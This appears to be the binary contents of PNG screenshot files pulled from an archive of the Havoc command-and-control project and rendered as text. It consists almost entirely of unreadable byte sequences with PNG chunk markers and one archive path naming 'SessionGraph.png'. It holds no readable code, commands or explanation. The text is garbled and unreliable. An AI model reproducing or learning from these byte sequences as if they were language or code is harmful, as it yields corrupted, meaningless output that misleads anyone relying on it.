lbJk#GMm߮7ZI96lܸaǎ.g_l9sɜYW5v1rJoNNi۸7j߮z%VMn)gaŊ|+Bc}]:a_m~=RRK64GF7xz!}ȡ-zuVs޴ɓgUB8::H!Za*_tM6(ZAIeA=OR,Ю}KoZ1[KK)h߮ŀܧ,jeNTtb16֖kּGHHS= }\p@nM`{{nB!]m*UıWB 222RRgkn}6? ukΝ=qڌw>BldII)!!?_ꀥJ.XGTbw&'Jqq$ٵslFFfL񔔔%V-yo+t];}_&880d֭y)##ÔĤŒ$Okhh;11)55UZC-[ꃇNU16.%x0koƝ={~`A˖MgBʖ WEi_={jJ--fdT*>!!4>>P:zN*Wώ1oq?p~Z޳hРs ^*UyT̓'Ϭ[4rܕ222233 'OmmmbEbbҕ̌_|8uW޶'3g.I<B.>}믁4S(J% K3B4R֭{nݓ /Z~Gw0[%P('O&&|3W>Dg.y CNz߾{gղGg:cw}qђ峒=5**ư_,UO2e,tttwNLLR$u=iފifffl+fttt|)Fzz"33SK5Ͼ4}՗ou>;wBWGGZ!Uѿ߷+-_9XkM#}+kk# !-йN;y݇k6brttl~w^"{ٸ##=V=w~ڷThXzq΀7gHu îz%R X m#y֌/_l۷٧X|ͻ o6K ߳/b,-̅66Ϟ>PDEž|YI9ibٴUw\5jT{0T:x?G\pDz&[d"!C] 9nܠYɓg+Wo?U ,jum3U+?ɩWo1}g➽FYs997}}M\>˦|i7m@?2*:FnK~?ff<:__zz:]wl𠞗 S !^ltFΚe̿nssZxڬsKtԽKoN(x.%K5ƪaS~B<~S;|w; 4q@juzzTظTXJZUabb|V6}kPzԲI5mڰq_!2%5-QXxޝ455|޾jH_vZ鋝qjgPZ_eۢ-}RuwCRhި^ }ʗ,TTX5e(#ZhRFuBѳ7YBܸqWÇ9ٰaJU`Ҭe&k/Y4-!!AZ`6UTpGkb3B__Dw'~90+&bF]o]qiY=_ȮX7֮}µE=' WZzZ`` ;аsC'*/]uYrrҝAs#۴ j1ӥߓNsU&Z|~~xkǏj_k=r𩴴T׉--.򌌌.n;r2mNB frήQga\\/tu]GVV1QxB»&##퟼77Bw77`Bժn֬a~j1c"#_9lh;ʢ)Sb^lˮ\k(׫g[m݇n̬=j۽CNؿ^3Tl?}b洴 kײ0787E1Rwb,rKqZt C`dbKȿMOϠc ;@v,X!#mMo߾YC ĢBs+@NEX0R􁅹MQ )a@ad ;@v,X!C`d ;@v,X!C`d ;@v,X!C`d ;@v9+ly IENDB`havoc-0.6~git20240910.69ce17c/assets/Screenshots/SessionGraph.png000066400000000000000000007214151467014221700242160ustar00rootroot00000000000000PNG  IHDR!A$ IDATx[/|t?$a 0Y/&(Z֊; hvZjRUŢ $(ppd(A}g29sk9sA @ @  @ @ @C0 @ @  c)@ @ @1 c @ @ @`"&l  @ @ d  @ @ @2! @ @ @2@ @ @&"a"jȦ @ @ @@ƀ @ @  c)@ @ @1 c @ @ @`"&l  @ @ d  @ @ @2! @ @ @`2 @ @ @V-!@ @ @s1Z@ @ @&,@VLt'N8ϗ @ @ L2, @ @ @D1LDm \ @ @ 013yTgg[ZƬɘ>rdMITekI S|nBbF__nKS|u\ @ @!cU>MYyCC^xqe Q'OZ?`>|v"2C8/޷ossS ec @ @iyoiسC_8|ϖP /Ir6hVNa__OR.O# 9`wl dQں-h_?ٙOoڼC-n'&G?pCOتƲCŏ=-޳3&`v={fۭVkڵl*E߸qfٺdCKdž'f1j-55}xqBQd3@]"}}X]ZVi[Wq)E{4~Ο?N^Sq[%\ӡCjMuv40lNI'Z[[X](Xk c22ϝ2clkj^\RI}ezǫ` @ @x2ǐWlu0ذg/116[?- 3sIa@t76^zo}dvuN|.O^q\v} դ%%w[9˱_**?ڰvZO iw{_';0-cֳgvv E}C]c?d7mrr#{9|MG9x}c܉OHomwhw2Eg}x{Ig3f&]cx3r<[v.6!YLYy;e08hOMA [¸ @ @1ϛ6oq g3Eֺmowp(:R;44@bzUɡG]UC?˱_RRv׏&swNssSssS˽͛^lwNvN۷zƸgW_}CLe%c/]=7|gw9ߞ>}\QO3f=hǮѐ8عx`yF>9e YAZV\=]cpIK\f M쭭YK@ @ @9cؼy DI`Çds.&n+9< 8pᏽ_}9O۷?Xs@Ϟdt,ơgN&u#G*%C&?=[, zhhLyĖxaZ25mࠝoX2`˓T2##EwǻSZL!3;6e={f߸i߱BY<%%eRRϟį'w0XJ򽤽.DHs}>,L=bCõV}+q"ID1 .a|^ٲv:U`QhRőGϝqhƛ1T%$fܹYԿb[ݔFR|qp_W(ڵ˟ƹ=wRˌf/ 6Z,!jŻ @ @&W}8ekrvE+V>{ ˷pђT=y֖%4\˾7K6q|}}=V-&nPIxbuwv}}Wc)wN$C_K()$7q'u1^ @ @ L1L0$ޭ/)t\jY :G~z{+Wnb^k.|ͻ-یeB2q5mBA @L-e g~?;8gVm.Қwrֿ:rѱ͛7m#GR XYJs,_vrI"m곮\m￯].1\ c@@ @8^kyٽ{{-`T?Dr֭/bӓRm6Huz}}ָ%jΝ#Bitf4.ԙaWߴK3j.^ls\ͷtm;!BiL.{KohtQ%2=k8@WԴ @ @21<}d~;yǟ^N޶}oP\[Ml۾fNN']l:?q JC霅Hiϟ'ePmO[}_۟-ɝ]Mlis7o_bݮ5:SkIEW#omaVJ`cV>);jkZ! ] 0ad  @ @\P\@o\bN4,[3{˽dh;~72 }W\bf?AJzaӶ .]rwp_Ytu?\.*}᧟e+^ta7K1d }|…*2!ڹd |~c̀Ѝ@.1 c @ @`o/cú,9NdYifTy*~>0KJ]>zq /3OWF( 3bg8;),<Crje͖(]Zk*\g=ӯ\i_YyW6ݺY4$&MApj8pp-tGg !@8_!A @ @S&2v;/l7* #JC\bc'z{-==s4ovׯ%8L*X<44`ݿ˾;ˏya7w&e6oɮ٠dصf֦;H)^ڤ1-Pt1+W{xy!@2d  @ C-e Ν821YA@@0+! @ @` cV]Sd F 1@ @ 0d S֭?.eB2q5mBA @Lô c@7" @ƀ @ q cniu!d .{p1㯨)J.@ @U5!@2d  @ CÔuO !cpٳ aEMۯa @ )@01;_/l "+1@ @ 0d S֭?.s4l * cOSM\ @ 0Fe Ǥ ؁ @@ƀt @ cx{pw &W. Z@ @x<]@- @ @@~ @1LM@ @oA > 81@ @ 0qd ?)A !@?24Fe @ | >ۄ d  @ @4d r |P&s @ @!@2d  @ L2 @p)ar鋃 @ Jq d  @ @4d l |P&s @ @<88hj"[" UIڟ P=44 c}v֭ӡCq,[yq6u Ow Qs(Z:G R,xh?0 }}=vuhh@,U3Dٖ1kq c@@ @ L cƤj,7E%VQS(25x^zC<:<`h{qH((6ѼTT>6BWtrHe)9댅;5$l`*ޞB~ 8"aLq @ @`,ͫbQ|04%FPh._`PMvʬ )1nS|.eAJv  Ejca44ҪM!f#&ºP5(N,! D%;L88_D\D?XXG* ![h^O[8K(cKkǘ1irr9ܵݝKum2E&%2SRs@y.Yxʮwrf'rl3#G:H<`$U33Đm8En?\6C[\C޸>e \Pռ 5rrEmrt 79B%X-SftuQY4޴Tly;>Ou,m{fw֦}^k"1cuƗk\?GC.ɓJ*Igլ644p3C.155wuGGsG]~JR}tDhRٌ %*aAkS~E.j U׊"媛E2_P4] U*/Jrqڇst vy_oB[0&^i-Ux t1FkKtgLǡվ) ]o~0񤁡?u 9+j;s֥jǼ&d8BaZd̋jʟy[КB#la>9FFD1RuPg~\QD.?02cX:֮mX+rVzƬ˗/Y,6[k}G>2[nX]g~?ГJMvZ]w[SRGr\w?2~[J*j?2n/2~#LχVA @f r̴w'Jyec҄*sYuiM~" ' Sr֙( ؋2=qs3WpyLO_FY +gD M +W}]ihJz~/ʖq1h6 dҌՙ%; cKtvǹr?&`KxT.[ry⬒␤ԏu9JOAHmTzHi7Hm\1f evuk}kwn-_šұac?- {1c~jÞA2'.Z"Z]v3;b nKs"Ovӛ6o!Ǐ;v/Zmb oI/(B~ȳ#cT T׊fmSyBZ?8' Kt d//F?tjGW7+NxC2c efAyQ-Lc"WLa2&V2d/G'4|Qfe1/MŲ4~H|L71Jıl_"PY@Qn*5C#䱽e/F|>/pMRS]-t`NЗ勼c]!Ms.ODXoƍkde$&3ff&e,MxV <8._n*jmH1'_DƂ?geƸ܅Wp8g4帜lz Ϝr]i`@khh`Y-̠47?2m35;ů ǧ243@ @f rJoa*U^c O7g^^80x;fe"1P.yLc]p|?1k%[IfvTK"mJ6y>@2 %>RҚxrDgY fC_|Ɏ޸qy..ʞ5ƌ-t+닌"#6eMγ.e: K+F]3rVzƬvV146^X aĨȃY\ΕwNssSssS˽r(zU7o^cϝAu(pe `'LsZ˴墪WduSLjy._<Q̋j/<&s8E{2U&4s1D=;rGwJ]TB/WEG̝bϫڇsr$c`486,H$'qeJdQQǗɅGl 3=-1&T{ˤ:Dʇc;e]Y"' 5 ޸, R|X8rsf^:A# 0 hkk铋K+Ɋs+Fno2cHH2>y|5[I1nzB 5dޤT3YD:.!µk'1ԧS@rGV)mMW_/(`2o.nd=f Ǚ%F3z ~*(2ٞ&4<ԑ}ydkoM(%bA~*._DҀh9>j8pd  @ @4d xO{}}=6[EpT eX]k@ cp#!@ @2w١  c@@ @ c@ N &wCC @&KdI@;! @ @&B#!@%aGz @ @2w١  c@@ @ c@{ylhrbUҲg-B26[@(}Y~OynsılYo4x.̡h\}T.4*X(SB霛oJ(>Use#۹k7{ݹtq/ٗ؁@ä5O  @ Ls d ^ИOº*J PPe.k>'VǕgl5m3.SD*SQ}]qJ QƖ3֧P|146'Z# N<8!6cqFVca}Ւdr\h^e,3śD.pQW*nl7[K8rwUSEH+LELEb3>sw:{|pξPTkpc›]M^p!d A2;;lCL-ͅEˉ)t}%cٙviFdarEmrt 79B%X-SftuQY4޴T[ˎswkK۞.ٝiZO3[n|st1DN*^@U𵩍gi"G?t_$E*s5&tI\QPj$AHHIB_#Vkࠝ}tt2𥳳պDob|eI559bHy%ݺo~?rťnݰZ~:B'U/ll5?ɓ^(v c@@ @ 7cfmpE%U񼂲Jwс1l ŗ&d猁ǟFe =h$Ss(Z$ W(_/es֮'Oz<%#!‘GpEGfdXS[7n\3ό֧<~cP'OzMYy_qSmcҌy Znݺi5f1A@0iU߭B @ކx3Eta\i3g {6ib/:C0θ̹5n0Ё1c&^u4ve_:Q6x..aҐ^*rRm`g  s18 ~BZU[]Pmehww6G|I4T]xs@FsyfыN'_'D IDATP88^1cᇃ+>4d-}vkyE5)\\RqC)YOkEe=%;l{JGr)-ue/+B+/ZVqt|/1os=WE27lHf8,Mt_% uXi|~fNIį9\>sw\o13,f|g 3f﷭XZ08ԴCC򰑌g}L>ڋ**?P3}& 33Gͫ^80`0ODa@]@0bE;!@ @S,0ތA`^- WP'\rCPx!g="Ɓ-5{-8J %/%Nɮq^y8M$x;Y_|YRMOF0-el?&"޴/rHG&HaC_|.7n\Yc ϕ;EFl8)'*jg]uVv1˱g Y9146^X aĨ|Eݱ .J ܻw[9l7AlZS%GVgjv8TB-͋QY@Y.z5HV85+chW|g_4{+2WNx,p1e/Gb /6CFSlE*t**?Aˏ7@?<#f֖G-9+iS . cowI @ )o էj瓮/o)?{(T-*i~7\y mru՞&^zȇ/g\K^!S11iuZf?"Yk'2ES&1U3ٌqwI3p\:&}q**!/ cPtiYem۷KG[ /6^ذ짦;cp1U|Y)dxCB3ۏ|)r>Wc̾:7CULWdBcˢwƷf~-Jr=C.3QǓi2++c 䚯5ըi3ln{]?ϑuN9b*X+|^Çq @ '0ތCI/bK(T+Oɮ$VD,ؒZoa83!eAJ:. X `f)]w0@UK0"$DsᩜDr̬dh'r0ha ]mˌA\=ëűC5پ*Lj,#K4{|x=1S&)%%ryPLzp-#G;jށ>`2MM}>*ziA^K7ROB?85 Dg?0-RhTreLG"wġh?q~Ԉw,XXi 6C)iN9etvt.]ƬL~9nmt1`>55Ike rͺ{m d@vƎVW`P/_7{{-ٵ/yL {d x?n @ 0&ma @D2@ @&M@__mv-\,B2Vk-@\ G @` cpi0@ @4@0@\d  @ @4d q @\ä5͟4@ @d SK@2d  @ L2郖@@ä5O  @ Lsd y @ƀ @ I@07nmǏ{.+ɽUIڟ elCC0wkgM?:Dzgs(ZgࡰoB_yQ P[ =a|QmT3Y1#y&xby|TyTgg[ZƬQoUäV* @S JJM}6yX}Sq @%0KXXXE L(\0jyk''VǕgl5m3.SD*SQ}]qJ QƖ3֧PԐH!ox{5ʃb3gl5'\- I&媙U:ca]io@z(+P7\C=I3V;rp(Cry3Wf|t=>!}ɡh0׫Ƃ7"ŕDBQcdvvlݭ-l%w[{]wǸ3|~S1v,6!dgF!E# D4m]o{di"[-_< 2qޘ:Dsyvhʋ:kZy&K-'s9-#Winnnr ?YD$p[#X!?Ld ca~8p |PYx;l@v>NJ 0ͫbQ|04%FPh._`PMvʬSb- R]ʂ%zih 'UiB"*yG>!LAuj̒8.OY[t%Z.OKsu reUD1{2$=vC&G+';C]{ݩTg*&SdR)15!;g W~7yo+gqy"ǖ1c8rS$# VI_E8aV3Đm8En_4QY eb!@|殻-Ɲqcr(]/ﯢtco;fOI&p}Ĕ/SE*D{ ?_4Pyq6=$Do1Q܊DYk᜻vw|R~dU2d  @F); @ه> 7ce >L7_.yAfk>rCzP>$2 'xbmMyR6?&S,uBEj:.O1XaPti.y)SoZ-uzHd!oè̔8 ;wysZ&A -#TҌ2ejA(XXj"wwoZ-P[>Ou,m{fw֦}^kC ǘ1ܺu5(]ɓ'{{-ϟ Uֶ)Ymhh`"f]f 7ܵQW{ƹrx&仍g_=GLO$?yQ-k"Ps{+ԷK 1c͋V MobE}SJ}7xMkYtoE2O˞wf@LiD[y6s(:EoB=C[_*4F}9"9s.3Y}zԃ9<)37Q;nd;U*i`~{x¾3˿%$s҄5{8Cav hGTBBǏ~humiNLz0?21qigϞZnݺe#={f >OF3јW>p'Oz-Ϸwid ~GC ¨;raug] %!@`,䪙iykE%U񼂲Jwс1(4!k\t݆kDxr (,-`HuJv%V͉\9QEtAr]Aica3@+ MIϯXݾE2.3m|C2XL:d!wcqTž8W'dl e˸S.OUS.5g\i89c*Wo?mkwSƘ1U_2c5ȶkwn-_šұac?- {1c~jÞA2'.Z"Z]v3;\[w9\';M;vܹ1_n3;^P" ~ȫ;"|Qd\m| x6?.o=71H')#ӈ96`ԾEIY=*c(Bb^T ӘH+dL 1PdɄ_F?8OhVsեb^Tei`^Sf MT{~~ڴI4KmNt҅ ԂAEz(*( ʾPLٺ@-8gΜ9I5՟,VGvXrH̷ goe2eׅ@caڣECLtR0fTJq$%f*9=5h!_j K1wRmM2w^[߿O 'r?r?k=O4ըohvٳdy }S*ĪxR'b:h29RogZ&Cg "kfiPH}641u {X<:]_~-^0DŽЏuu(g@j[2ZB81je5.!hRrÇCb(H<r$Al}w~+ ɻq&ZD"+r{l_K4߭qn)H[fqGO~7S,?m`Cvigx\t7Hڟ60SxNmV[UA ݱrM#3c!%vZ4ЙƸ5ԑ_j1^`B+LdMׯ_rD̪]rs+pK#GQ ߜ\ɓQՠ!h}C͞BCP޳s&d{ 3@ D v@c6:@B`\sx*?Udqe^N3;*=5=x8>L)ykHZL,9oMhgC|n'*&+]-as‚`Qt 8{^ƙF܊ZRE z27qk !a:%@֧!V)"J7N})eHHlIn48 1U^N\c JȽ~ʎ7{FBLOn:P? p6lRc697(( [\ӥ[U 픨1m+dYOKtWmXN$˽ O8 5 ~k +oV i|%< l#]K$JJ"nH?m:S*`ab4f%x"O\c@SN =ɻ{ [3o_[7"|%!%FgWN.|!w-0L !D(A j |-Ӝ8ҳw< 3mj_.Ga 3K0%. g a`NjHY2zXO%Qa'M_wx!hslHƓh LAcsH!ƃ2f85jj{29|Ac!hvdd…ep D'۰ȧ{Վ!P=w4&)ox'Xy\f,_v٩JŔIOI7;4CL1e=qh;`!a@c D;(1BRB31<4:Xi jŽz[1&%='\s bFqF@MlTįQj 4X7!31UW0aZ5֎ Dc$$ʏrppv^Igct 6߭Zc~W~k -:0X·vꫯ.B_{qS3'asĻVcj@~E21@ h @)K3Kl3IHqB׷^8a )482fv;2[qNKrcfYwfYۻR =DI\KIM%D}ΛZ1;9wYlgw%׷(Sm n›דU#ے8!%eazѦgliKҋ:wW %ʌh+0evY$)LTVSn 1i |[##>c%{׬'FIc!qwO` ׮xV9ն"BCUw1xy͔}% IDAT%:W+uDq?^c@PX02Tk[=ZW`"n;2auv<ׅwΦ8B9TؙƤk_ZjOrq+ %2d4%gFF߰Ox1z``xZX͝Ν?=8xݛ}72x<WڱcGo㏍f<}$!ҫQub/?L )AhρKsy xA/lP/j0S+#W+@i$0E3i 3v00 I4iwի`@F t.]™Llz [E _GiA|Rg -`Wjf  0O&&@`cӹ0N^@1y {ROId]D4a&ogPb#3GUFn!jb#+}~Rqa u uNKR#CCP֛Z!;)w5&q2eot%ʒr>llsfDyF;-VQq9<4xΔ-$529H?pˉddrD42i*dM\)J1`6㹲(ӏtk"K.?m`ċ#52rY+C5 f@c@LMg?;`03,3yu`l@E` aO[0El"9oх7Mg q2)yɹkS 6px*)$7&筡!3xJDd:AiEdZoFxp5xJ) 4H\Y1( ՞mDU!r09RÖ4N[t E|VH iFvKZ^c-AX"W4[RFj,VAfJ%DBz B!,(@ h sd-h cWpaS#/ԸS@ J`_dvr/9*KRcVv&GJmŕ<zJd,\`MBy\dO_J4jRב3tVQ?vdXZ{3U z\J-THCPKR)qAhyj,ŕ4pS`IjL+D8oTY8QLm*STؙE6OIY'^]([֨1` i,Ƌl\UA\knPQj?.Q[+Wg_kįϗ[jG\p!(֘?YIP龝o{\?!$N(0].Vh-nR`PƵG-."feFdvgXjW+x(^2PcY&'Hv agJCP2jamnܙcs4Jjy,so49`j&C-J͡BpwܢYrڣE%NZg-:XW`ؘl|z|JAKg)[UՊwB\Wڙ,' TsQ=ɟFӵJ: a1NvPQ@:1[/j_ <|ٟ6ΔI;Ә2Lwq TXY'did\IzNJ).ٞ, Y|H3ownU<::aWpzzPmL2Lӣ)bG(l#hz\Ru /L2^dS\銏L*ogI6~)Ȑxdo!Vg7ݪdp_ aǪM&vbo6u i.{$0a@!E@c 286E(egC@D`Z!\$Ye;╩$sbv8"fP[sX4lt94Wގh0<Ow;?m 4Iڟ60Nm܂'Rc;S$F`_/ MW#f,ըBN2TKJ"oצNԟzxHف 7d3&vV7f#ݖ9Yiۨ 4NjB*|$uvo 7+"tIc;SKpl}1rR&!?U8/COSRcŽ~K- 4 K9o{T<@R㡪M^6rPucyeodb J"CZ?-@D'Ǧ] @D xA"[zQ9iq/VgxfK+,hGOKY)q_h?3Qx}=1 I 97eN^('jIjT󉒔uzҊ6džhHc +x<)`=Ơ=ZW`l'HbSZ4:œOJcgT!c !B5N8cޯۢ1zNpʍ?t1n n$w0/$2e\^j`[ͯ(I;+:$Lu?K6Ťkmc 4տ{12Ş, Nc&aP1,Cl:Zzl%u@cuK@(4 eҀ<@j 4MiF"V<9o]G גQ. G#1| !Wda@9OM_xY^Ih 1pxJ{7<%z3RdqZ3gUFnGf 7.ߒܘY֝YHxQvR-m Q_l*N]#x]Ia) *lBBd*$7XRmzfOʖ$3|GjzX]`,Rq3d ;S!S-l{Jz,53}jvqr#Ix ::ׅDer< l#u~)O<:ݷv+ ?.[L>NuIi S/H'|x|:Tc8SIc l#Oxi('ah%]@c#:VF !ǦuiJ 5k'Sj+G`  Z D i P  >1D ȔzSϛd F#Qgig3=,WWxec~0 ?H4zx݁>"41Yg`ottN&@c,1xY@c@\#ٵ';ڠ dBW,ZLM4& %CX,P0AgOs*3w7:C/@^evxYޚŒ)/@h 㟮# E i]R563ދ&hHJ^0/ O49@$h @O i]+h ڟek#@41̴ V1: YAf2  P2  @ 0K Yæ!(^:c1\gYIc )4- xY[@ 0)1L  I[oJN):w<cJl'Nw>n{gZy@-.E-|gRt=|edaڞ&4j0ί䒳lLjY9唶lEuActu:<ͮR ͳZo;--лP2 ͖bT $,äʱi܆TKmf¢5o4ZRnk埬rc- w/y o7[q+?yuGO^9Hg"M ^Hd &K` /tyJuKDCPfv%;>x QQ5ij8,JߩGz(GXB]/9+ӒԈ0Tn,N]I\%e[=%]I9$\q{;<%<%ۜ1|-QQ:ejl9l DaUT\O3 A4)nƜ hSfiwj oFǏ8] "sjT}joY3ADž2i"Å g=~ѣO%lޝ_PtN lݲZ-Z%_ 14J;o1Hꏜkڣ#TnGآ o-0죣*H1K/ 6_[ACq5qƯEhR%'R %I0j-9ɖ{gx- fPEGkʫdަjyr .,=zֲ=J8~wmkOok8۵U^(LjD@`R1%S)]5438 Ƽ5QFlTSdInL[CC0fttӊ6ɴc1}xSMaȥ!@*ߎtdo.'4)48=%ۈ6% B`rno-)/$RqBs- j Jc>+FN$&GBCHexA qʊXa'a=t1 x[us/w[.GƑNPc >Ֆ]SD&Z$aR[y\!Flsۗ]"L_սr+#F? /Ubqa v|=/1$?ZzUcXr?Fl yYj" fHluWd䙅~\kܳ7vi JBS)cne<-YEsseѲй/JtkY %ͥiFqb "٠LvڒwݥzgΜ˷ODc4ӲJJ__'4mL>}lX.DI V,=w/N1vOcئ! 7;V@]@9q)z IDATor 5T'38JԿ9]J.KWrIGrX&V-Tr|_˕ɗ22wK_XC^21cWzu]f2e k1fL}R!ƀe }UwA?Q%h 6q(/(&8xz5}nvouRO9 -ŨQ"HPJ@]Wh$Ź”Uu/{kY֒WVXSƺc[OXWZJʡV>]CZN]K/X뎭jeŁ֒]VݼUek S:r- SƊ|*W'T%jiXl)Œh0ue"@Ld5frbUƬLN{RGWZ>N3tK)iO/$'Ed}&%y=Cg`i% A-F^l%iR 7ԒhJ\Z)+gq4M+1Xӊ6QA%[%El8;3yJLc!qc5=Xu$A.C58hϧrQٛ9x!=#w`O0ǎu4mm㏃FVc'}?hZ;^'OFϟ?C "uzz1ԃOz v*jϞe`o5',mt J{pރ7_Vo%y_MO{Ztƀj-6_,)0ÿk[*?14KmsZ_"Mp0d}"cKH�}UP%}i =E o=sə8D/9r KW^|ʅKS}^4)J6#8q0Zc l ab &vڒ1{2) 1px;[s6Y?R#8E)_!5D*/0L ť4=p숆?]H{Q묕iLVS1Pjt1eKVc`0С50 a`l 5`iZ!hBwhRQy"[XT:&ȉf/[;Un#7P!ƀ,"]˵G Eσ0Pt|p"Y99MؽAˊ0m OH!͠/o i|D$fu^v~ɗjJhu%ĕ,\ X{Y޶8ƺcNJ\G+yD:2 4_۵E~%_ åE.{]Y+9̄iֺDc]W+2p%f%QDSh ^)@G@ ,j r}NZFS)gWƏ}C0E1ɉm TXlXʴ⭱"[r:o'Šp:#ҙ۝QEΤ!(*N-Vjen6 El~c4 V_|uyK^HZ)TPyNCPɺC'E:~Ea5VI]L t+uMVY4%8DyG:_$Vi- }raaj_Vc!,n7!_K\>s4@C])xk|sʀ&K  j.YMM˧觰w#L-Rgy]qɗfÕV*~ގEV|[pzײxǯ?q_V'JwJ~F\ reŧŸИ]$mMar{kyf¢TKPaT9ZYB$1JuA_n^Z@&1h%nJu^LL*L%ǵ x0ڂ-4>ƂԂ .m&qAC0i%:zR7GE~_L#_Z^$c GLM_ύ)<ĪxRQß0bWV= (Mj D8o>Ó'9y 7o}w^aG4L~>isP}Nѭ}w%k<MJ|\_ID5:Kjo~t+)R;dp"sJr .}t }rv9D<]e0c$)|~Ogb'% Yc' pqC<IcXyޥK˫ܤ$@Ctӕ2%~ ,yI![~ܞgs_z\_tDPԅEϙH'Չ?]t6u~v\H@4bGH۩Iz&[P(6"!l 8R`Oc(*uܤNcD*zgyo]u /35 gJ릚ÿI:KyX銡Xuj -(K0p 452͏ R.רI*a.'-爴\QX/$1X%?;q^dc,_nmFd18#++)e0c%"u+1U~\['Ӑ&1?r./Act&xӫsu{ɕ]]EXmem{ྶ;o7\r{[|/:?i)`Iọo(ނI\rnfqfZREId:oX1 JAt)Y'y7lFk+bDoo8~)u3QM5bHPw[z6_i2n|eD U\{DQ" }0b̭b>_oN#L1ۺwUuIb"]t]ҭeM1ȝ[ݻ O]Xͳs ӳJ:Ve,f/1+޵wD,ރ44\Y9Ncn^oPu{~{53-_܎naK}Gkk)ZN[7$22j4NXKĪvGDM|&1v+uv/B^-|o[eKcا1Y0-Jpd +ITcF \6@ M%C).+>j0o8JjWE-WmaBZ֥?bbDo?  Ӕ8ؽ LucvgO՝Kο- P+eJ;j]>ϦՅIb+&eF.Oذ8C  cSdm&, 0gLVclEѿX]Y,hTGY0 S ʎQx}=1 I 9^݃Z6'C/i$5*DIJ:Ҋ6džhGcK Oa1'F? js{C\ |x;}z\_I, lə~{m hn'1C=NƎIRcHYIJ"1>,9Ec2j;/=ҺaL`v}̺6wu;[j UG #Vcxҷ ܐy{}%*Hc@G+ vsŝ.쑚;3 &vJӆ"jྒJ#.CP#*_`0Ћ9-ٺ\(@C'ٶؙ`Wm@cSdD)?b1Zoz*5='F쳽Meh * c7}v:]{c"1LVͼR`ae |Ү3bj o/M`R?Ȥ1q""qb1,Hq%4B@Coqxµr=pDCPN ?<5mBFM3\T gD8b-Eo-I~Ĩ y`[^_!iH\Hv 4Feݤ46nGi{v#_!5N?[ hj'&9<KTzr)>|B]\T`%)?_{q6e0e?\n!D PZ?kƐ'!A(mږއ4J `RPfPa]ajMȿey &S8<=cifmfw=)Nhv U[3K-ܸwʖ̲̲nw@{liKr7`cVYwrnJjeo'3 LQPd:J݄7''lGVY%y͒0h3|R%E;R+ͅeF42K"rx:{y'fOcpǏ|84<|&W{fom]ݩ9Q]'+رu7u޾=y2JMddi_es\fX>sKz{/Xfw^Qt\hOZot`'|U@2AYw/8c:U˟:&):l[*."O|u_mhƱ`a5H ,Ip X:YBd.Z64ԟ+xH,q־/LStqѝ??\3Acktxkwy& @2Tc#f =P}[?6h6߻ڊJ퓕cyBCSR=c8芑+ C n=EZz6QɗA0Cvh=xK7b1!L\!u:#OW޸BH.,7PTu8 A^&,XlQ#>MD-~~u:u:r8]:m-a@<~Po&5Q[w+DCv('{>Xt'r:|"tq-WŞ@4.U%8F&+9fjz6kސ= LC6{(=z?%;OLh vDBX_W @<9^P\1kؽHg2l4_* 돇քW@2.J%5R @1#ӧ1=^  l^׾_1mc&mAdM/XwI M 4@ISf{2&꩓\9>\x`̏}ΓfP/{ f|AҊ; ^d^MA/ܻWscìG`;0G$ϐ1Yg`ott}KV 2N.9&25?kJʊN6Ga1 @Il wELmgimNBϦĶ4[M[ P3=K-LaF@2.Ac.7J4i  i@c 40~ʧu<,TZE/M\Npq7=Y`o+L) e2 IDATj@4@ LAc`.O6ahL^Π`G'!082fv;ʴ eI1+иĕ,x+)gPD9nodd35%7J vQ-m(Li!hƣ4ECP>LAլ=%]Aa/?~tSo̩_RyNe䦉h .Gۿ?ywRf~AY-;(Uw*jr_mX!l^&Wc9|A˵GGΩ'io | *=ChMyl0c>tTYBCC#OWRSn#ذ5ԅEZ/Zg_ '>Wy2&.EԩO¾ᶛ-C -t+Z[<;9v0J&LR@́_Wk m`┟/.n Q%nؼ}M08b~g,d¿\.VWW/&QEq8,`Xu҄or.ڈyd>Ks~u:{Ն㦀PJslk8LKl:w4F.!hr.Wݰ't8: f+`&mu.%ephj~RAvioϨ|CAc )-ȳ↜7?_ݪ9 iEe{@<uvܻ07ܝ8& j @tS{)bykҙBnL c^r(]k8<Y<%]"E2ŠM2hhk vDaqCjlSri*ʷcb)9Y9;cGDb A[:FG?c4qDO>{AL⇿|wg3{KGXTn )Dc'{ ;" JE0n)"^_Ν;,=а 75]~Yŋ[C4K=j}ӛY䔖W?OkkԸ3f_z㶎̕'5ۺ{݄ܶ=3.}zcҟgPL61OQ?嘼0QEnO(yo{ZZΛ~eunH\}GXޱ wOJ i及p.coL/AQ@̂0xy$8->%4g]\jY ,RJ}HGO3B %бRo͙:յZZf#:8-d%~bJ/PM͟^+wf?ER?2p*mw{W1X͎k^!wJ:3'|1"WCJ{ɪ{NۜkO?c ccX?~LgL76yR Й UI7[f:Ouy3K$RoV8epS4c8blV@hv_ CQD_*uplE +GY%U<#-A2M\*2iä?ig6U,c 5 <  8].wb[:]RA{`1@"G10Y Dd 1'y[Uys y0/a ٽcr !qw֏-1h{Bxװ@5Ԗo!^@xBX)8LdUf; \R <+%Y'5t w`#4oI]X 4r1&h=uYrɯc,@LQJ@8%cbQUޠai4ᝥR WU(1rar Ϟu^nmq 㫺1ep T_8KT޷lBͳgR/.JӨ >v㴳@ AM΂~;fCDT:e'QϺI^-\)O(g˧U<@`P#/hyq4ף~ Z^I'f'ǰ|u3& Ji/JC74|H ;31k~7.ZBtnS|ѩKS3<O$ڐމ7J,D3?c((v<{gUOIh.H(a?L1c(8{uZs^iS_V}|V_Y:S欚xqݱ^(M3DCce93u8 ߉?X daa>> W|p cr\,R} oLx Ryˁ"z-ý87'M|yK+<pߝ5YZ+ȘZSR `.4&93[|'.AD%f=#+%@܍X砺̲M%|ƌzo6'48YZ7zK65ɏk>L&L\^jː8h#!Cvθ'O cX^reo{7/^<ZK+J{)r `T:oVO)Z?tUsz2YϹٍ\{\>"RH_b B1#e7S>9gθ:}z>Bwި|eVZ&>B*''}cn?*g.OܙI45n-65_4ŗg{OҲ JGTZŝ9s_^-m@"!9gG>Fr٨ܙ1ns>]k9o߶~C'ɇN%o#ϖe=LCG'sVO"e-6hTWgj#r .R޵9UDgP^ɑ 5 LI9YC$Dsx瘓& `$%΁czP :b7)w 9QȄˈJ9Cdc-!ȷ@Îp "ٳNP!d%!CNnӧYQ!1TV}z{ 8o$ * ~V9Oɲ~שS4 c(K;ӼK6Oa ϵ8*7|Klף3Z,|8K7gT}Fgڟ7ވ:5V P'=1Mp/UF>"͎[ v5|=Jb}' :vڴbUs%]{+].NPiE "J:h4zl11Y E(ڠԝ6Yϙ3Tjc@Tnm p gL֙Ip~1ǀ0۾Q^ܦm\nw.JNe co JC=^[Dr !`bM?/z4UF 